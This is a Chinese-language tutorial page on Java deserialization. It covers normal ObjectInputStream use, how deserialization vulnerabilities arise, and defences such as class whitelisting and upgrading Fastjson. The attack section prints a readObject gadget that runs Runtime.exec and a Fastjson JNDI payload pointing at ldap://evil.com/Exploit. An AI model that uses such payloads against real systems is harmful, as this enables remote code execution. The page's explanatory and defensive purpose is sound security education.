温馨提示×

温馨提示×

您好,登录后才能下订单哦!

密码登录×
登录注册×
其他方式登录
点击 登录注册 即表示同意《亿速云用户服务条款》

java反序列化怎么弄

发布时间:2026-10-25 16:19:22 来源:亿速云 阅读:92 作者:小樊 栏目:编程语言

Java 反序列化(Deserialization) 指的是把字节流恢复成 Java 对象的过程,通常和反序列化漏洞、安全攻击联系在一起。下面我从 正常用法 和 安全风险 两个方面给你讲清楚。


一、Java 正常反序列化(基础用法)

1️⃣ 序列化前提

类必须实现:

import java.io.Serializable;

public class User implements Serializable {
    private static final long serialVersionUID = 1L;
    private String name;
    private int age;

    // getter/setter/constructor
}

2️⃣ 序列化(写)

ObjectOutputStream oos = new ObjectOutputStream(
        new FileOutputStream("user.bin"));
oos.writeObject(new User("Tom", 18));
oos.close();

3️⃣ 反序列化(读)

ObjectInputStream ois = new ObjectInputStream(
        new FileInputStream("user.bin"));
User user = (User) ois.readObject();
ois.close();

✅ 这就是 标准 Java 反序列化流程


二、反序列化漏洞是怎么产生的?

⚠️ 核心问题:

readObject() 会自动执行对象里的代码

如果攻击者能控制反序列化的数据,就可能执行恶意逻辑。

典型危险点

  • readObject() 中被重写
  • 调用危险方法(Runtime、反射、JNDI)
  • 使用不安全库(CommonsCollections、Fastjson、Jackson)

三、常见反序列化攻击方式(了解用途)

1️⃣ 利用重写的 readObject

private void readObject(ObjectInputStream in) throws IOException, ClassNotFoundException {
    in.defaultReadObject();
    Runtime.getRuntime().exec("calc");
}

✅ 只要反序列化该对象,就会执行命令


2️⃣ 利用 Commons Collections(经典)

  • 构造 Transformer 链
  • 反序列化时触发 InvokerTransformer
  • 执行任意代码

(常用于 Web 历史漏洞)


3️⃣ Fastjson / Jackson

{
  "@type": "com.sun.rowset.JdbcRowSetImpl",
  "dataSourceName": "ldap://evil.com/Exploit",
  "autoCommit": true
}

❌ 自动反序列化 + JNDI = RCE


四、如何安全地反序列化?

✅ 1. 不要反序列化不可信数据

最重要的一条


✅ 2. 白名单反序列化

ObjectInputStream ois = new ObjectInputStream(in) {
    protected Class<?> resolveClass(ObjectStreamClass desc)
            throws IOException, ClassNotFoundException {
        if (!desc.getName().equals("com.xxx.User")) {
            throw new InvalidClassException(desc.getName());
        }
        return super.resolveClass(desc);
    }
};

✅ 3. 使用安全替代方案

  • JSON(Jackson + 关闭默认类型)
  • Protobuf
  • MessagePack

✅ 4. 升级依赖

  • Fastjson ≥ 1.2.83(最好 2.x)
  • 修复 Commons Collections

五、一句话总结

Java 反序列化 = 读对象 + 可能执行代码

✅ 正常用途:对象持久化、网络传输
❌ 危险用途:RCE、内网渗透、勒索攻击


如果你是想:

  • ✅ 学 漏洞原理
  • ✅ 写 CTF 题目
  • ✅ 做 代码审计
  • ✅ 用 ysoserial

告诉我你的具体目的,我可以给你更针对性的内容。

向AI问一下细节

免责声明:本站发布的内容(图片、视频和文字)以原创、转载和分享为主,文章观点不代表本网站立场,如果涉及侵权请联系站长邮箱:is@yisu.com进行举报,并提供相关证据,一经查实,将立刻删除涉嫌侵权内容。

AI
助
手